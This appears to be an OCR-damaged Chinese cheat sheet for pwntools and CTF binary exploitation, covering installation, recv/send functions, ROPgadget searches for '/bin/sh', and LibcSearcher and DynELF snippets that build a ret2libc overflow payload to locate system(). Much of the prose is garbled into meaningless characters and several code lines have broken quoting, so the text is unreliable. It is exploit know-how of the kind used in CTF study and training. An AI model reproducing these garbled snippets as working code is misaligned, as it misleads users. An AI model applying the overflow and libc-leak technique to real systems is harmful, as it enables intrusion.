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pip install pwntools (python2)

pip3 install pwntools (python3)
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Contexti#t B

contextZpwntools iR Bt BRI ThRE. RS, BT Z#HISCFRBRAR, BATTRERZRT - HHRRELT B IER

BfTexp, HLINH —BFEERITILH, HE2MILHEMGAKILHE AR, WRAK Econtexte FH —& M. —BRRBIMNKE
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context(os="linux"', arch="amd64', log level='debug')
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recv(numb=F K/N, timeout=default) : FHEUIEEFZTH.

recvall() : —HEHBEWHE XS] MFEOF.,

recvline(keepends=True) : #—1T, keepends NEBHREITER\n.

recvuntil(delims, drop=False) : —HiZZ|delimsHipatterniBl AL,

recvrepeat (timeout=default) : LB EFIEOFEtimeout.
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send(data) : KREHE.

sendline(data) : RE—THE, ML TEHEREM N,
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1. checksec filename

2.

context.log level="debug"
context.terminal = ['tmux', ‘splitw', '

context(arch="1i386/amd64"', os='linux', log level='debug')

ROPgadget --binary level3 |grep "push ebp"

ROPgadget --binary level3 --string="/bin/sh"
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root@kalifit {2,
RKERBEHEAE, REERE, BRTE:
vim .bashrc # Abashre XX HESHREE, KEFA

Ps1="\[\e[31m\]\u@\h: \W#\[\e[m\] °



TRAFIRH BRI A]

root@kali:~# echo -e "\@33[33m test \@33[@m"
test

rootakali:~#

libcSearch# & libcH & # i bt

libc = LibcSearcher('write', write_addr)
libc_base=write_addr CHEidRZothsR H M) - libc.dump('write")
binsh_addr = libc_base + libc.dump('str_bin_sh')

system_addr = libc_base + libc.dump('system')

Dynelf# & libcHh % it hik

def leak(address):
payload = 'A' * 112 + p32(writePLT) + p32(vulnAddress) + p32(1) + p32(address) + p32(4)
p.send(payload)
data =p.recv(4)
return data

dynelf = DynELF(leak,elf=binary)
system_addr = dynelf.lookup("__libc_system", 'libc")
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from pwn import *
context.log level = ‘'debug’
context.arch = 'amd64' # 'i386'

¥ U Jeupdate FE 45 yupdate tar.gz

tar -czvf update.tar.gz update/

context(os="linux"', arch='amd64/i386', log level='debug')
context.terminal = ["tmux', ‘splitw', '-h']
pause()

gdb ik
BEZ RN HprinteE display

system#_system,ROPF| F fI A % i 3% _system

FoAt:

elf=ELF("./pwn-200")
write plt=elf.plt["write"]
write got=elf.got["write"]

write sys=elf.sym["write"]
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pipFH IR % %

pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple
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